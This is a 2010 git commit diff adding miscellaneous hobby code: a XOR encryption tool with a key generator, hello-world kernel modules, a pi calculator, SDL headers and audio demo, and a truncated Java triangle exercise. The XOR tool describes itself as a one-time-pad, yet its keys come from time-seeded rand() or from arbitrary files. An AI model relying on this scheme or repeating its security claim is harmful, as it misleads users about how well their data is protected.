From: Harvie Date: Tue, 25 May 2010 01:13:32 +0000 (+0200) Subject: Added lot of junk laying around on harvie.cz X-Git-Url: https://git.harvie.cz/?a=commitdiff_plain;h=8de513042b62d49783567965c443f9dc8d48ce94;p=mirrors%2FPrograms.git Added lot of junk laying around on harvie.cz --- diff --git a/bash/cterm.sh b/bash/cterm.sh new file mode 100755 index 0000000..df65708 --- /dev/null +++ b/bash/cterm.sh @@ -0,0 +1,15 @@ +#!/bin/cat +DEMOnstration of PHPTerm for Unixs' terminals +xterm - gnome-terminal (/bin/bash) + <-Harvie 2oo7 + +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + diff --git a/c/crypt/BIN/usage.txt b/c/crypt/BIN/usage.txt new file mode 100644 index 0000000..700f5a6 --- /dev/null +++ b/c/crypt/BIN/usage.txt @@ -0,0 +1,23 @@ +Harvie's symetric encoding toolkit. + + +USAGE: + +1. Generate key: + keygen 128 > key.txt + - keygen --help for more options + - this will 128 generate pseudorandom bytes (if number is not specified, 1024 will be used instead) + - 128 may be size of encrypted file in bytes for optimal security. + - You can use any file (MP3, EXE, etc...) instead of this. + - The key mustn't contains the lots of NULL bytes + +2. Encrypt + crypt key.txt file.to.process file.output + - crypt for more options + - key.txt is some file used as key + - file.to.process is file to encrypt/decrypt by key (if not specified, STDIN is used) + - file.output is output of process (if not specified, STDOUT is used) + +3. Decrypt + crypt key.txt file.output file.plain + - decrypting is done the same way as encrypting, you need the same key for decrypting and for encrypting. \ No newline at end of file diff --git a/c/crypt/Makefile.win b/c/crypt/Makefile.win new file mode 100644 index 0000000..d748403 --- /dev/null +++ b/c/crypt/Makefile.win @@ -0,0 +1,33 @@ +# Project: crypt +# Makefile created by Dev-C++ 4.9.9.2 + +CPP = g++.exe +CC = gcc.exe +WINDRES = windres.exe +RES = crypt_private.res +OBJ = crypt.o $(RES) +LINKOBJ = crypt.o $(RES) +LIBS = -L"C:/Dev-Cpp/lib" +INCS = -I"C:/Dev-Cpp/include" +CXXINCS = -I"C:/Dev-Cpp/lib/gcc/mingw32/3.4.2/include" -I"C:/Dev-Cpp/include/c++/3.4.2/backward" -I"C:/Dev-Cpp/include/c++/3.4.2/mingw32" -I"C:/Dev-Cpp/include/c++/3.4.2" -I"C:/Dev-Cpp/include" +BIN = crypt.exe +CXXFLAGS = $(CXXINCS) -fexpensive-optimizations -O3 +CFLAGS = $(INCS) -fexpensive-optimizations -O3 +RM = rm -f + +.PHONY: all all-before all-after clean clean-custom + +all: all-before crypt.exe all-after + + +clean: clean-custom + ${RM} $(OBJ) $(BIN) + +$(BIN): $(OBJ) + $(CC) $(LINKOBJ) -o "crypt.exe" $(LIBS) + +crypt.o: crypt.c + $(CC) -c crypt.c -o crypt.o $(CFLAGS) + +crypt_private.res: crypt_private.rc + $(WINDRES) -i crypt_private.rc --input-format=rc -o crypt_private.res -O coff diff --git a/c/crypt/crypt.ICO b/c/crypt/crypt.ICO new file mode 100644 index 0000000..c50726b Binary files /dev/null and b/c/crypt/crypt.ICO differ diff --git a/c/crypt/crypt.c b/c/crypt/crypt.c new file mode 100644 index 0000000..3c0ce10 --- /dev/null +++ b/c/crypt/crypt.c @@ -0,0 +1,20 @@ +#include +#include + +int main(int argc, char *argv[]) +{ + int k, i; //Key, In, + //char sfkey[128] sfin[128], sfout[128]; + if (argc <= 1 || argc > 4 ) { printf("Usage: crypt key [in] [out]\n"); return 1; } + FILE* fkey = fopen(argv[1], "rb"); //Open Key + if (argc >= 3) { freopen(argv[2], "rb", stdin); } //Reopen stdin + if (argc == 4) { freopen(argv[3], "wb", stdout); } //Reopen stdout + + while( (i = getchar()) != EOF ) { + if ( (k = getc(fkey)) == EOF ) + { fseek(fkey, 0L, SEEK_SET); k = getc(fkey); } + //printf("%d: %c\n", k, k); sleep(1); //Debug + putchar(i^k); + } + return 0; +} diff --git a/c/crypt/crypt.dev b/c/crypt/crypt.dev new file mode 100644 index 0000000..2a4fced --- /dev/null +++ b/c/crypt/crypt.dev @@ -0,0 +1,59 @@ +[Project] +FileName=crypt.dev +Name=crypt +UnitCount=1 +Type=1 +Ver=1 +ObjFiles= +Includes= +Libs= +PrivateResource=crypt_private.rc +ResourceIncludes= +MakeIncludes= +Compiler= +CppCompiler= +Linker= +IsCpp=0 +Icon=crypt.ico +ExeOutput= +ObjectOutput= +OverrideOutput=1 +OverrideOutputName=crypt.exe +HostApplication= +Folders= +CommandLine= +UseCustomMakefile=0 +CustomMakefile= +IncludeVersionInfo=1 +SupportXPThemes=0 +CompilerSet=0 +CompilerSettings=0000000001001000000000 + +[Unit1] +FileName=crypt.c +CompileCpp=0 +Folder= +Compile=1 +Link=1 +Priority=1000 +OverrideBuildCmd=0 +BuildCmd= + +[VersionInfo] +Major=1 +Minor=1 +Release=1 +Build=1 +LanguageID=2057 +CharsetID=1252 +CompanyName=Harvie 2oo7 +FileVersion= +FileDescription=F(u)XOR : One-time-pad cryptographic tool +InternalName= +LegalCopyright= +LegalTrademarks= +OriginalFilename= +ProductName= +ProductVersion= +AutoIncBuildNr=1 + diff --git a/c/crypt/crypt_private.h b/c/crypt/crypt_private.h new file mode 100644 index 0000000..79db3a1 --- /dev/null +++ b/c/crypt/crypt_private.h @@ -0,0 +1,23 @@ +/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */ +/* DO NOT EDIT ! */ + +#ifndef CRYPT_PRIVATE_H +#define CRYPT_PRIVATE_H + +/* VERSION DEFINITIONS */ +#define VER_STRING "1.1.1.2" +#define VER_MAJOR 1 +#define VER_MINOR 1 +#define VER_RELEASE 1 +#define VER_BUILD 2 +#define COMPANY_NAME "Harvie 2oo7" +#define FILE_VERSION "" +#define FILE_DESCRIPTION "F(u)XOR : One-time-pad cryptographic tool" +#define INTERNAL_NAME "" +#define LEGAL_COPYRIGHT "" +#define LEGAL_TRADEMARKS "" +#define ORIGINAL_FILENAME "" +#define PRODUCT_NAME "" +#define PRODUCT_VERSION "" + +#endif /*CRYPT_PRIVATE_H*/ diff --git a/c/crypt/crypt_private.rc b/c/crypt/crypt_private.rc new file mode 100644 index 0000000..addf487 --- /dev/null +++ b/c/crypt/crypt_private.rc @@ -0,0 +1,37 @@ +/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */ +/* DO NOT EDIT! */ + +#include // include for version info constants + + +A ICON MOVEABLE PURE LOADONCALL DISCARDABLE "crypt.ico" + +// +// TO CHANGE VERSION INFORMATION, EDIT PROJECT OPTIONS... +// +1 VERSIONINFO +FILEVERSION 1,1,1,2 +PRODUCTVERSION 1,1,1,2 +FILETYPE VFT_APP +{ + BLOCK "StringFileInfo" + { + BLOCK "080904E4" + { + VALUE "CompanyName", "Harvie 2oo7" + VALUE "FileVersion", "" + VALUE "FileDescription", "F(u)XOR : One-time-pad cryptographic tool" + VALUE "InternalName", "" + VALUE "LegalCopyright", "" + VALUE "LegalTrademarks", "" + VALUE "OriginalFilename", "" + VALUE "ProductName", "" + VALUE "ProductVersion", "" + } + } + BLOCK "VarFileInfo" + { + VALUE "Translation", 0x0809, 1252 + } +} + diff --git a/c/crypt/crypt_private.res b/c/crypt/crypt_private.res new file mode 100644 index 0000000..8091efe Binary files /dev/null and b/c/crypt/crypt_private.res differ diff --git a/c/crypt/keygen.c b/c/crypt/keygen.c new file mode 100644 index 0000000..3b426d9 --- /dev/null +++ b/c/crypt/keygen.c @@ -0,0 +1,27 @@ +#include +#include + +int main(int argc, char *argv[]) +{ + int r; + float i; + i = 1024; //Cycles + if(argc > 1) { + if( strcmp(argv[1], "-h") == 0 || strcmp(argv[1], "--help") == 0 || strcmp(argv[1], "/?") == 0 ) { + printf("Usage: keygen [X] [> key.txt]\n"); + printf("keygen - generates 1024 random chars (bytes) to stdin\n"); + printf("keygen X - generates X random chars (bytes) to stdin\n"); + printf("keygen [X] > key.txt - generates X random chars (bytes) to key.txt\n"); + } + i = atof(argv[1]); + } + srand(time(0)); + while(i>0) { + r = rand(); + putchar(r); + //sleep(500); + i--; + } + //system("PAUSE"); + return 0; +} diff --git a/c/crypt/randomizer.dev b/c/crypt/randomizer.dev new file mode 100644 index 0000000..9fc6835 --- /dev/null +++ b/c/crypt/randomizer.dev @@ -0,0 +1,59 @@ +[Project] +FileName=randomizer.dev +Name=keygen +UnitCount=1 +Type=1 +Ver=1 +ObjFiles= +Includes= +Libs= +PrivateResource=randomizer_private.rc +ResourceIncludes= +MakeIncludes= +Compiler= +CppCompiler= +Linker= +IsCpp=0 +Icon=randomizer.ico +ExeOutput= +ObjectOutput= +OverrideOutput=1 +OverrideOutputName=keygen.exe +HostApplication= +Folders= +CommandLine= +UseCustomMakefile=0 +CustomMakefile= +IncludeVersionInfo=1 +SupportXPThemes=0 +CompilerSet=0 +CompilerSettings=0000000001001000000000 + +[Unit1] +FileName=keygen.c +CompileCpp=0 +Folder= +Compile=1 +Link=1 +Priority=1000 +OverrideBuildCmd=0 +BuildCmd= + +[VersionInfo] +Major=1 +Minor=1 +Release=1 +Build=1 +LanguageID=2057 +CharsetID=1252 +CompanyName=Harvie 2oo7 +FileVersion= +FileDescription=Random bytes generator +InternalName= +LegalCopyright= +LegalTrademarks= +OriginalFilename= +ProductName= +ProductVersion= +AutoIncBuildNr=1 + diff --git a/c/crypt/randomizer.ico b/c/crypt/randomizer.ico new file mode 100644 index 0000000..27234e1 Binary files /dev/null and b/c/crypt/randomizer.ico differ diff --git a/c/crypt/randomizer_private.h b/c/crypt/randomizer_private.h new file mode 100644 index 0000000..42340ed --- /dev/null +++ b/c/crypt/randomizer_private.h @@ -0,0 +1,23 @@ +/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */ +/* DO NOT EDIT ! */ + +#ifndef RANDOMIZER_PRIVATE_H +#define RANDOMIZER_PRIVATE_H + +/* VERSION DEFINITIONS */ +#define VER_STRING "1.1.1.2" +#define VER_MAJOR 1 +#define VER_MINOR 1 +#define VER_RELEASE 1 +#define VER_BUILD 2 +#define COMPANY_NAME "Harvie 2oo7" +#define FILE_VERSION "" +#define FILE_DESCRIPTION "Random bytes generator" +#define INTERNAL_NAME "" +#define LEGAL_COPYRIGHT "" +#define LEGAL_TRADEMARKS "" +#define ORIGINAL_FILENAME "" +#define PRODUCT_NAME "" +#define PRODUCT_VERSION "" + +#endif /*RANDOMIZER_PRIVATE_H*/ diff --git a/c/crypt/randomizer_private.rc b/c/crypt/randomizer_private.rc new file mode 100644 index 0000000..7c38d8c --- /dev/null +++ b/c/crypt/randomizer_private.rc @@ -0,0 +1,37 @@ +/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */ +/* DO NOT EDIT! */ + +#include // include for version info constants + + +A ICON MOVEABLE PURE LOADONCALL DISCARDABLE "randomizer.ico" + +// +// TO CHANGE VERSION INFORMATION, EDIT PROJECT OPTIONS... +// +1 VERSIONINFO +FILEVERSION 1,1,1,2 +PRODUCTVERSION 1,1,1,2 +FILETYPE VFT_APP +{ + BLOCK "StringFileInfo" + { + BLOCK "080904E4" + { + VALUE "CompanyName", "Harvie 2oo7" + VALUE "FileVersion", "" + VALUE "FileDescription", "Random bytes generator" + VALUE "InternalName", "" + VALUE "LegalCopyright", "" + VALUE "LegalTrademarks", "" + VALUE "OriginalFilename", "" + VALUE "ProductName", "" + VALUE "ProductVersion", "" + } + } + BLOCK "VarFileInfo" + { + VALUE "Translation", 0x0809, 1252 + } +} + diff --git a/c/crypt/randomizer_private.res b/c/crypt/randomizer_private.res new file mode 100644 index 0000000..bcde881 Binary files /dev/null and b/c/crypt/randomizer_private.res differ diff --git a/c/lkm-old/Makefile b/c/lkm-old/Makefile new file mode 100644 index 0000000..e44a7db --- /dev/null +++ b/c/lkm-old/Makefile @@ -0,0 +1,9 @@ +obj-m += hello2.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + + diff --git a/c/lkm-old/Module.symvers b/c/lkm-old/Module.symvers new file mode 100644 index 0000000..e69de29 diff --git a/c/lkm-old/hello.c b/c/lkm-old/hello.c new file mode 100644 index 0000000..ddb235b --- /dev/null +++ b/c/lkm-old/hello.c @@ -0,0 +1,15 @@ +#define MODULE +#include + +int init_module (void) /* Loads a module in the kernel */ +{ +printk("Hello kernel\n"); +return 0; +} + +void cleanup_module(void) /* Removes module from kernel */ +{ +printk("GoodBye Kernel\n"); +} + + diff --git a/c/lkm-old/hello2.c b/c/lkm-old/hello2.c new file mode 100644 index 0000000..f4f279b --- /dev/null +++ b/c/lkm-old/hello2.c @@ -0,0 +1,25 @@ +/* + * hello-1.c - The simplest kernel module. + */ +#define MODULE +#include /* Needed by all modules */ +#include /* Needed for KERN_INFO */ + + +int init_module(void) +{ + printk("<0>Hello world 1.\n"); + /* + * A non 0 return means init_module failed; module can't be loaded. + */ + return 0; +} + +void cleanup_module(void) +{ + printk("<0>Goodbye world 1.\n"); +} + + + + diff --git a/c/lkm-old/hello2.ko b/c/lkm-old/hello2.ko new file mode 100644 index 0000000..cf742cc Binary files /dev/null and b/c/lkm-old/hello2.ko differ diff --git a/c/lkm-old/hello2.mod.c b/c/lkm-old/hello2.mod.c new file mode 100644 index 0000000..8aa9b7a --- /dev/null +++ b/c/lkm-old/hello2.mod.c @@ -0,0 +1,27 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const struct modversion_info ____versions[] +__attribute_used__ +__attribute__((section("__versions"))) = { + { 0x49cc9b68, "struct_module" }, + { 0x1b7d4074, "printk" }, +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends="; + diff --git a/c/pic/Makefile.win b/c/pic/Makefile.win new file mode 100644 index 0000000..64e3c6e --- /dev/null +++ b/c/pic/Makefile.win @@ -0,0 +1,33 @@ +# Project: pic +# Compiler: Default GCC compiler +# Compiler Type: MingW 3 +# Makefile created by wxDev-C++ 6.10 on 12.11.06 21:29 + +CPP = g++.exe +CC = gcc.exe +WINDRES = windres.exe +OBJ = MingW/main.o +LINKOBJ = MingW/main.o +LIBS = -L"D:/Program Files/Dev-Cpp/Lib" +INCS = -I"D:/Program Files/Dev-Cpp/Include" +CXXINCS = -I"D:/Program Files/Dev-Cpp/lib/gcc/mingw32/3.4.2/include" -I"D:/Program Files/Dev-Cpp/include/c++/3.4.2/backward" -I"D:/Program Files/Dev-Cpp/include/c++/3.4.2/mingw32" -I"D:/Program Files/Dev-Cpp/include/c++/3.4.2" -I"D:/Program Files/Dev-Cpp/include" -I"D:/Program Files/Dev-Cpp/" -I"D:/Program Files/Dev-Cpp/include/common/wx/msw" -I"D:/Program Files/Dev-Cpp/include/common/wx/generic" -I"D:/Program Files/Dev-Cpp/include/common/wx/fl" -I"D:/Program Files/Dev-Cpp/include/common/wx/gizmos" -I"D:/Program Files/Dev-Cpp/include/common/wx/html" -I"D:/Program Files/Dev-Cpp/include/common/wx/mmedia" -I"D:/Program Files/Dev-Cpp/include/common/wx/net" -I"D:/Program Files/Dev-Cpp/include/common/wx/ogl" -I"D:/Program Files/Dev-Cpp/include/common/wx/plot" -I"D:/Program Files/Dev-Cpp/include/common/wx/protocol" -I"D:/Program Files/Dev-Cpp/include/common/wx/stc" -I"D:/Program Files/Dev-Cpp/include/common/wx/svg" -I"D:/Program Files/Dev-Cpp/include/common/wx/xml" -I"D:/Program Files/Dev-Cpp/include/common/wx/xrc" -I"D:/Program Files/Dev-Cpp/include/common/wx" -I"D:/Program Files/Dev-Cpp/include/common" +RCINCS = --include-dir "D:/PROGRA~1/Dev-Cpp/include/common" +BIN = MingW/pic.exe +DEFINES = +CXXFLAGS = $(CXXINCS) $(DEFINES) +CFLAGS = $(INCS) $(DEFINES) +GPROF = gprof.exe +RM = rm -f +LINK = g++.exe + +.PHONY: all all-before all-after clean clean-custom +all: all-before $(BIN) all-after + +clean: clean-custom + $(RM) $(OBJ) $(BIN) + +$(BIN): $(OBJ) + $(LINK) $(LINKOBJ) -o "MingW\pic.exe" $(LIBS) + +MingW/main.o: $(GLOBALDEPS) main.cpp + $(CPP) -c main.cpp -o MingW/main.o $(CXXFLAGS) diff --git a/c/pic/main.cpp b/c/pic/main.cpp new file mode 100644 index 0000000..21857c4 --- /dev/null +++ b/c/pic/main.cpp @@ -0,0 +1,22 @@ +#include +#include +#include +#define PI 3.141592653589793 + +int main(void) { + double currPi=0, i=1; + clock_t begin, end; + + begin = clock(); + do { + currPi+=(4/i - 4/(i+2)); + i+=4; + } while(fabs(PI-currPi) > 1e-7); + end = clock(); + + printf("Vypocteno Pi = %lf v case: %f ms.\n", currPi, + (float)(end-begin)/CLOCKS_PER_SEC * 1000); + + //system("PAUSE"); + //return EXIT_SUCCESS; +} diff --git a/c/pic/pic.dev b/c/pic/pic.dev new file mode 100644 index 0000000..689f190 --- /dev/null +++ b/c/pic/pic.dev @@ -0,0 +1,50 @@ +[Project] +FileName=pic.dev +Name=pic +UnitCount=1 +PchHead=-1 +PchSource=-1 +Ver=3 +IsCpp=1 +ProfilesCount=1 +ProfileIndex=0 +Folders= + +[Unit1] +FileName=main.cpp +CompileCpp=1 +Folder= +Compile=1 +Link=1 +Priority=1000 +OverrideBuildCmd=0 +BuildCmd= + +[Profile1] +ProfileName=MingW +Type=1 +ObjFiles= +Includes= +Libs= +PrivateResource= +ResourceIncludes= +MakeIncludes= +Compiler= +CppCompiler= +Linker= +PreprocDefines= +CompilerSettings= +Icon= +ExeOutput=MingW +ObjectOutput=MingW +OverrideOutput=0 +OverrideOutputName= +HostApplication= +CommandLine= +UseCustomMakefile=0 +CustomMakefile= +IncludeVersionInfo=0 +SupportXPThemes=0 +CompilerSet=0 +compilerType=0 + diff --git a/c/pic/pic.layout b/c/pic/pic.layout new file mode 100644 index 0000000..6d2cdce --- /dev/null +++ b/c/pic/pic.layout @@ -0,0 +1,5 @@ +[Editor_0] +CursorCol=7 +CursorRow=21 +TopLine=1 +LeftChar=1 diff --git a/c/sdl-old/SDL.h b/c/sdl-old/SDL.h new file mode 100644 index 0000000..60ac26c --- /dev/null +++ b/c/sdl-old/SDL.h @@ -0,0 +1,94 @@ +/* + SDL - Simple DirectMedia Layer + Copyright (C) 1997-2006 Sam Lantinga + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + Sam Lantinga + slouken@libsdl.org +*/ + +/* Main include header for the SDL library */ + +#ifndef _SDL_H +#define _SDL_H + +#include "SDL_main.h" +#include "SDL_stdinc.h" +#include "SDL_audio.h" +#include "SDL_cdrom.h" +#include "SDL_cpuinfo.h" +#include "SDL_endian.h" +#include "SDL_error.h" +#include "SDL_events.h" +#include "SDL_loadso.h" +#include "SDL_mutex.h" +#include "SDL_rwops.h" +#include "SDL_thread.h" +#include "SDL_timer.h" +#include "SDL_video.h" +#include "SDL_version.h" + +#include "begin_code.h" +/* Set up for C function definitions, even when using C++ */ +#ifdef __cplusplus +extern "C" { +#endif + +/* As of version 0.5, SDL is loaded dynamically into the application */ + +/* These are the flags which may be passed to SDL_Init() -- you should + specify the subsystems which you will be using in your application. +*/ +#define SDL_INIT_TIMER 0x00000001 +#define SDL_INIT_AUDIO 0x00000010 +#define SDL_INIT_VIDEO 0x00000020 +#define SDL_INIT_CDROM 0x00000100 +#define SDL_INIT_JOYSTICK 0x00000200 +#define SDL_INIT_NOPARACHUTE 0x00100000 /* Don't catch fatal signals */ +#define SDL_INIT_EVENTTHREAD 0x01000000 /* Not supported on all OS's */ +#define SDL_INIT_EVERYTHING 0x0000FFFF + +/* This function loads the SDL dynamically linked library and initializes + * the subsystems specified by 'flags' (and those satisfying dependencies) + * Unless the SDL_INIT_NOPARACHUTE flag is set, it will install cleanup + * signal handlers for some commonly ignored fatal signals (like SIGSEGV) + */ +extern DECLSPEC int SDLCALL SDL_Init(Uint32 flags); + +/* This function initializes specific SDL subsystems */ +extern DECLSPEC int SDLCALL SDL_InitSubSystem(Uint32 flags); + +/* This function cleans up specific SDL subsystems */ +extern DECLSPEC void SDLCALL SDL_QuitSubSystem(Uint32 flags); + +/* This function returns mask of the specified subsystems which have + been initialized. + If 'flags' is 0, it returns a mask of all initialized subsystems. +*/ +extern DECLSPEC Uint32 SDLCALL SDL_WasInit(Uint32 flags); + +/* This function cleans up all initialized subsystems and unloads the + * dynamically linked library. You should call it upon all exit conditions. + */ +extern DECLSPEC void SDLCALL SDL_Quit(void); + +/* Ends C function definitions when using C++ */ +#ifdef __cplusplus +} +#endif +#include "close_code.h" + +#endif /* _SDL_H */ diff --git a/c/sdl-old/SDL_main.h b/c/sdl-old/SDL_main.h new file mode 100644 index 0000000..cf8b728 --- /dev/null +++ b/c/sdl-old/SDL_main.h @@ -0,0 +1,98 @@ +/* + SDL - Simple DirectMedia Layer + Copyright (C) 1997-2006 Sam Lantinga + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + Sam Lantinga + slouken@libsdl.org +*/ + +#ifndef _SDL_main_h +#define _SDL_main_h + +#include "SDL_stdinc.h" + +/* Redefine main() on Win32 and MacOS so that it is called by winmain.c */ + +#if defined(__WIN32__) || \ + (defined(__MWERKS__) && !defined(__BEOS__)) || \ + defined(__MACOS__) || defined(__MACOSX__) || \ + defined(__SYMBIAN32__) || defined(QWS) + +#ifdef __cplusplus +#define C_LINKAGE "C" +#else +#define C_LINKAGE +#endif /* __cplusplus */ + +/* The application's main() function must be called with C linkage, + and should be declared like this: +#ifdef __cplusplus +extern "C" +#endif + int main(int argc, char *argv[]) + { + } + */ +#define main SDL_main + +/* The prototype for the application's main() function */ +extern C_LINKAGE int SDL_main(int argc, char *argv[]); + + +/* From the SDL library code -- needed for registering the app on Win32 */ +#ifdef __WIN32__ + +#include "begin_code.h" +#ifdef __cplusplus +extern "C" { +#endif + +/* This should be called from your WinMain() function, if any */ +extern DECLSPEC void SDLCALL SDL_SetModuleHandle(void *hInst); +/* This can also be called, but is no longer necessary */ +extern DECLSPEC int SDLCALL SDL_RegisterApp(char *name, Uint32 style, void *hInst); +/* This can also be called, but is no longer necessary (SDL_Quit calls it) */ +extern DECLSPEC void SDLCALL SDL_UnregisterApp(void); +#ifdef __cplusplus +} +#endif +#include "close_code.h" +#endif + +/* From the SDL library code -- needed for registering QuickDraw on MacOS */ +#if defined(__MACOS__) + +#include "begin_code.h" +#ifdef __cplusplus +extern "C" { +#endif + +/* Forward declaration so we don't need to include QuickDraw.h */ +struct QDGlobals; + +/* This should be called from your main() function, if any */ +extern DECLSPEC void SDLCALL SDL_InitQuickDraw(struct QDGlobals *the_qd); + +#ifdef __cplusplus +} +#endif +#include "close_code.h" +#endif + +#endif /* Need to redefine main()? */ + +#endif /* _SDL_main_h */ diff --git a/c/sdl-old/libSDL.dll.a b/c/sdl-old/libSDL.dll.a new file mode 100644 index 0000000..b986d97 Binary files /dev/null and b/c/sdl-old/libSDL.dll.a differ diff --git a/c/sdl-old/libSDL.la b/c/sdl-old/libSDL.la new file mode 100644 index 0000000..1b16c61 --- /dev/null +++ b/c/sdl-old/libSDL.la @@ -0,0 +1,35 @@ +# libSDL.la - a libtool library file +# Generated by ltmain.sh - GNU libtool 1.5.22 (1.1220.2.365 2005/12/18 22:14:06) +# +# Please DO NOT delete this file! +# It is necessary for linking the library. + +# The name that we can dlopen(3). +dlname='../bin/SDL.dll' + +# Names of this library. +library_names='libSDL.dll.a' + +# The name of the static archive. +old_library='libSDL.a' + +# Libraries that this one depends upon. +dependency_libs=' -luser32 -lgdi32 -lwinmm -ldxguid' + +# Version information for libSDL. +current=11 +age=11 +revision=0 + +# Is this an already installed library? +installed=yes + +# Should we warn about portability when linking against -modules? +shouldnotlink=no + +# Files to dlopen/dlpreopen +dlopen='' +dlpreopen='' + +# Directory that this library needs to be installed in: +libdir='/usr/local/cross-tools/i386-mingw32msvc/lib' diff --git a/c/sdl-old/libSDLmain.a b/c/sdl-old/libSDLmain.a new file mode 100644 index 0000000..7969e9d Binary files /dev/null and b/c/sdl-old/libSDLmain.a differ diff --git a/c/sdl-old/main.c b/c/sdl-old/main.c new file mode 100644 index 0000000..d04335d --- /dev/null +++ b/c/sdl-old/main.c @@ -0,0 +1,77 @@ +#include +#include +#include + +const max_sounds=50; +Mix_Chunk *sounds[max_sounds]; +Mix_Music *music; + +//kanaly +enum { +SNDT_0, +SNDT_1, +SNDT_2, +SNDT_3, +SNDT_4, +SNDT_5, +SNDT_6, +SNDT_7 +}; + +//zvuky +enum { +SND_ZVUK, +SND_NUM +}; + +int main(int argc,char *argv[]) +{ +if ( SDL_Init(SDL_INIT_AUDIO) < 0 ) { + fprintf(stderr, "Problem: %s\n", SDL_GetError()); + exit(1); +} +atexit(SDL_Quit); + +//frekvence 22050 Hz +//MIX_DEFAULT_FORMAT - Signed 16-bit zvuky, v systemovem bytovem poradi (little,big endian) +//mono-stereo: pro mono vlozte 1, pro stereo 2 + +if (Mix_OpenAudio(22050/*frekvence [Hz]*/, MIX_DEFAULT_FORMAT, 2/*mono-stereo*/,1024/*velikost bloku*/)==-1) +{ + fprintf(stderr,"Mix_OpenAudio: %s\n", Mix_GetError()); + exit(1); +} + + sounds[SND_ZVUK] = Mix_LoadWAV("zvuk.wav"); +if (sounds[SND_ZVUK]==NULL) +{ + fprintf(stderr,"zvuk [zvuk.wav] nebyl nahran\n");exit(2);} + + //kanal: -1 pro prvni volny kanal +//pocet opakovani x: zvuk se bude opakovat x+1 krat,x=-1 pro stale opakovani. +Mix_PlayChannel(-1/*kanal*/,sounds[SND_ZVUK]/*Mix_Chunk*/,0/*pocet opakovani*/); + + music=Mix_LoadMUS("music.mp3"); +if (!music) { + printf("Mix_LoadMUS(\"music.mp3\"): %s\n", Mix_GetError()); + exit(2); +} + +//pocet opakovani x: hudba se bude opakovat x krat,x=-1 pro stale opakovani. +//postupne zvysuje hlasitost hudby od 0 do 100% za 2000 ms po spusteni + +Mix_FadeInMusic(music, -1/*pocet opakovani*/,2000 /*cas[ms]*/); + +//lze i jen provest pouhe spusteni hudby +//Mix_PlayMusic(music, -1/*pocet opakovani*/); + +SDL_Delay(5000); + + //ztlumi hudbu az do ticha a vypne +Mix_FadeOutMusic(2000); + +SDL_Delay(1000); + +Mix_CloseAudio(); +return 0; +} \ No newline at end of file diff --git a/java/Metody.java b/java/Metody.java new file mode 100755 index 0000000..ccf8e6b --- /dev/null +++ b/java/Metody.java @@ -0,0 +1,73 @@ +package seminar7; + +import java.util.*; + +public class Metody { + + public static void main(String[] args) { + + Scanner sca = new Scanner(System.in); + int a = sca.nextInt(); + int b = sca.nextInt(); + int c = sca.nextInt(); + + over(a,b,c); + pravouhly(a,b,c); + obvod(a,b,c); + //obsah(a,b,c); + } + + static void over(int a, int b, int c) + { + int j = 1; + if((a+b) < c) + j = 0; + if((b+c) < a) + j = 0; + if((c+a) < b) + j = 0; + if(j == 0); + System.out.println("Neni trojuhelnik!"); + } + + static void obvod(int a, int b, int c) + { + int o = (a + b + c); + System.out.println("Obvod O = " + o); + } + + static void obsah(int a, int b, int c) + { + int o = (a + b + c); // Zatim obvod + System.out.println("Obsah S = " + o); + } + + static void pravouhly(int a, int b, int c) + { + int sa = 0, sb = 0, sc = 0; + if(((a * a) + (b * b)) == (c * c)) + { + sa = a; + sb = b; + sc = c; + } + + if(((c * c) + (b * b)) == (a * a)) + { + sa = c; + 